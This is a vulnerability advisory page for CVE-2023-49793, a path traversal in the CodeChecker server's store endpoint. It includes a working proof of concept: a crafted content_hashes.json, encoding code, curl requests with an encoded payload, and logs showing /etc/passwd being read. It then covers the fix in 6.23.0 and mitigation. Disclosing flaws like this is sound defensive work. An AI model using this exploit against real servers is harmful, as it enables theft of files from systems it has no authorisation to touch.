CVE-2023-49793 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in codechecker. 1 public exploit reference exists, so weaponization risk is real. A fix is available for codechecker — see the affected versions and patch details below.
Path traversal in `CodeChecker server` in the endpoint of `CodeChecker store`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-49793.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-49793 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
codecheckerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
ZIP files uploaded to the server-side endpoint handling a CodeChecker store are not properly sanitized. An attacker can exercise a path traversal to make the CodeChecker server load and display files from an arbitrary location on the server machine.
Details
Target
The vulnerable endpoint is /<PRODUCT_URL>/v6.53/CodeCheckerService@massStoreRun.
Exploit overview
The attack is made possible by improper sanitization at one point in the process.
- When the ZIP file is uploaded by
CodeChecker store, it is first unzipped to a temporary directory (safely). - When deciding which files to insert into CodeChecker's internal database, the decision is made based on the
content_hashes.jsonin the ZIP. An attacker has control over the contents of this file. - After reading that file, the paths specified in the JSON are normalized by this code: https://github.com/Ericsson/codechecker/blob/fa41e4e5d9566b5a4f5a80a27bddec73a5146f5a/web/server/codechecker_server/api/mass_store_run.py#L442-L444
- Providing sufficiently many
../../s inside thecontent_hashes.json, an attacker can control the insertion of completely arbitrary files into CodeChecker's internal database. - This is confirmed in the log output:
mass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd
- Once the file is inserted into the internal database, it can be displayed trivially on the Web interface.
As CodeChecker doesn't distinguish between filenames after the ZIP is extraced, an attacker can define aliases in
content_hashes.json.
mass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd
mass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.
- The file is displayed in the Web UI if and only if there is at least one bug report in it. The bug reports are coming from the ZIP and the attacker can craft the required contents for this. If done so, the logs confirm the requirement for presenting the results of the exploit will be triggered:
hash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2
- The server emits the contents of the injected files from the server's database to all users:

[!NOTE]
The file is shown with the contents as it was on the system when the exploitedCodeChecker storewas exercised. This attack does not allow the server to return the "live" contents of a file on the server's storage — the attacker(s) must recurringly exercise the exploit to keep the injected files "updated" in the database.
PoC
The minimal example that can trigger the exploit can be downloaded: PoC.zip.
The key to the exploit is the content_hashes.json file. The additional files create a report in the loaded /etc/passwd file, so it is displayed in the web UI.
{"/../../../../../../../../../../../../../../../etc/passwd": "malformed_hash", "/etc/passwd": "malformed_hash"}
</details>
Uploading the ZIP to the server
The communication between the CodeChecker store and the server is done by transmitting the ZIP file in a Base64-encoded string.
Encoding the ZIP into the format of the API can be done with Python:
import base64
import zlib
with open("PoC.zip", "rb") as f:
contents = f.read()
encoded = base64.b64encode(zlib.compress(contents))
print(encoded)
The result of the compression and encoding can be sent to the running server over the API. When the API is called, the exploit is exercised.
curl "<SERVER_URL>/<PRODUCT_URL>/v6.53/CodeCheckerService" \
--data \
'[1,"massStoreRun",1,0,{"1":{"str":"poc"},"3":{"str":"6.22.1"},"4":{"str":"<ENCODED_ZIP>"},"5":{"tf":0}}]'
<details><summary>One-line PoC</summary>
curl "http://localhost:8001/Default/v6.53/CodeCheckerService" \
--data \
'[1,"massStoreRun",1,0,{"1":{"str":"poc"},"3":{"str":"6.22.1"},"4" {"str":"eJzNVk9vIzUUT3cpS4MqIcEB2Msw6oGV2vmXzKRZZVPYdpGqLSXSdrXqVquRM+NJhk7GI9tpN5Qe0SJx4MARCfEB+AaIE2glrnAAwY0DXwAQ4gT2ZCbj+ZNI2ROTWLaff+/5+edn+/XuXn2uXuOfi48frP7zh49Ym5eXWXFQSGFI7SEgQ0iU9wkKL2RVUZb4Q+qoESDk3JVvSvIIBB7CI+jGJuVNSV4MuOwx/16J/fvQP35QE74XWMEwQpgSNUMhnEfdEFCg5WoeMFxLc7Vtz2u0XVNvt0yrrbcA8JqN2MyUjK+YGeutk78fXqnVeLGWMTOCFLiAgilf63WJffIZxMRHIVujsZmIKEIBYYKTaZ9/F1kzhoRgBDktDnKhM4TOKcTyZgEDHMoM2+F4xJCN4qiDRiMQcm5PHhXHMp9kSzEMRZfe3Aag3296Ld2Ebrule6bnsbXp/WZjGxrA0TRNt6DeNG+U3DhH+NQPB7brY+hQhCfcrFqCoTGNxtSOAB1WAzAk44DaBI2xA23PDyDnqEBMjCRgFAVQiQKf0NiWEEp5+GWJsxAEkw/Y8rnp0ig59aMIcs604hD1R5BQNvE8p/pw4HNGdau9bTTaTaOpaJap66axWYGG8c4IWNPSrEazWXA/6ybNR+v1yyxa77Fo/WtlfPuja7UaL+Yy0Sqy2Nl5PAqkJCxuybqiyRIMWfCxjb0l3z96Z2tb3unWO2/svbd7dNy7I8VaUu/+7YP9XUneUtW3I2ZMVfeO9qTewf69I4nZUNU7h7IkDymNbqrq+fm5AjhKYaHJgez4YhRBTCcHzNgWU1Bc6spsmqn1nDtM6voO7dbXOqdw0nV9MAgRob5DOioXMDnAGPDGWopcm2IdQOGAxWUKZGJCMVtZ9wANfEeCGCPcURNZpsaPnc0PYlnRQRgqe/6Z78KHEKOysguJg/2IH9Cydo+dAYliwBcIgrKyT8gYxvegnV7EyLMDP4S2H05Fj2nZbMNtsE3vW6ahGc0WBF5ba+ltYDbclq41oFGeKECMm7yLM+oSElCQDa51fDb1AOKuzoyl7QzMz2wVWqsC8+VUgQuWO2p+M/n9Ibg72/Oc6+keRCJ2gUNTPLvF3Bw8oQuesR3IkTeXvrwXVRQuIrGaxkV+V1I5n8wcnYkyu9YIGMCqhS+I00QZg3AASU5X2JFiL0/OHHpEgsrrnUfRQpLm0bSIqAJVy/ve/P/43lHFbcj1xOOVyWfSTDZzveq+TQJDeIeFYCnYSJOkmZnUgXg0fZ9nay3c5XOu44DFIQFihGYLi/UGMISYvQOu3Z8sZ3uXZWC70wysfIEmT1RZa5pWVTqUNrI6fu669d7dlSs7tXlJ+UaS2EpJXZGi15PBldqrtU++6LQOr/2ycvr0z095/evn13/cY/V0knmZdTrJS6x8KSQTouWfn7weW/qe/Pvtu6xO+6LlcjYuWn66TJoiTj0xvV2+mB9+I8eHpannZfAic+srz5rPi358Ix98zOdP69c2rpf8KOdmoh9fX33GTE104+LJ7xt8+rT+7qeUjtXnOWaV/fYZBZ+9yHv/Ac5gmHc="},"5":{"tf":0}}]'
</details>
<details><summary>Full server logs for the <tt>store</tt> processing</summary>
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - server.py:342 do_POST() - 127.0.0.1:33352 -- [Anonymous] POST /Default/v6.53/CodeCheckerService@massStoreRun
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Unzip storage file...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:82 unzip() - Unzipping mass storage ZIP '/tmp/tmpenegwbxj.zip' to '/home/discookie/.codechecker/tmpx7hg1teb'...
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Unzip storage file done... (duration: 0.0 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1298 store() - Using unzipped folder '/home/discookie/.codechecker/tmpx7hg1teb'
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Store source files...
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1310 store() - [poc] Storing 2 source file(s).
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:463 __store_source_files() - 17 fileid found
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Store source files done... (duration: 0.01 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1363 store() - Storing into run 'poc' locked at '2023-10-25 14:30:31.615536'.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:686 __add_or_update_run() - Adding run 'poc'...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:730 __add_or_update_run() - Adding run history.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:755 __add_or_update_run() - Adding run done.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:761 __add_or_update_run() - Storing analysis statistics done.
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Store reports...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1163 __store_reports() - Get reports from '/home/discookie/.codechecker/tmpx7hg1teb/reports' directory
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1163 __store_reports() - Get reports from '/home/discookie/.codechecker/tmpx7hg1teb/reports/a7d0fa2d60d08ff39d519756917aaf43' directory
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1175 __store_reports() - Parsing input file 'sample.plist'
[DEBUG][2023-10-25 14:30:31] {report-converter} [2043] <139754026274816> - hash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:987 __process_report_file() - Storing report to the database...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:827 __add_report_context() - Storing bug path positions.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:834 __add_report_context() - Storing bug path events.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:842 __add_report_context() - Storing notes.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:853 __add_report_context() - Storing macro expansions.
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1220 __store_reports() - [poc] Processed 1 analyzer result file(s).
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Store reports done... (duration: 0.1 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1260 finish_checker_run() - Finishing checker run
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1397 store() - 'Anonymous' stored results (3 KB /decompressed/) to run 'poc' (id: 16) in 0.15 seconds.
[INFO][2023-10-25 14:30:31] {store_time} [2043] <139754026274816> - mass_store_run.py:1414 store() - 2023-10-25T14:30:31.612326, 0.15s, "Default", "poc", 3KB, 1, 16
[DEBUG][2023-10-25 14:30:31] {profiler} [2043] <139754026274816> - profiler.py:59 debug_wrapper() - [0.173351s] massStoreRun
</details>
Impact
The path traversal vulnerability allows reading data on the machine of the CodeChecker server, with the same permission level as the CodeChecker server process. This allows for the exfiltration from the server-side storage medium.
If the CodeChecker server is run with authentication enabled (not the default configuration), then the attack requires a valid user account on the CodeChecker server, with the permission to store to a database, and view the stored reports.
CVSS 3.1 Base Score: 6.5 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Reproducible up to version 6.22.1.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | codechecker | all versions | 6.23.0pip install --upgrade 'codechecker==6.23.0' |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for codechecker, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update codechecker to 6.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-49793 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-49793 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-49793. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-49793 in your dependencies?
O3 Security finds CVE-2023-49793 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.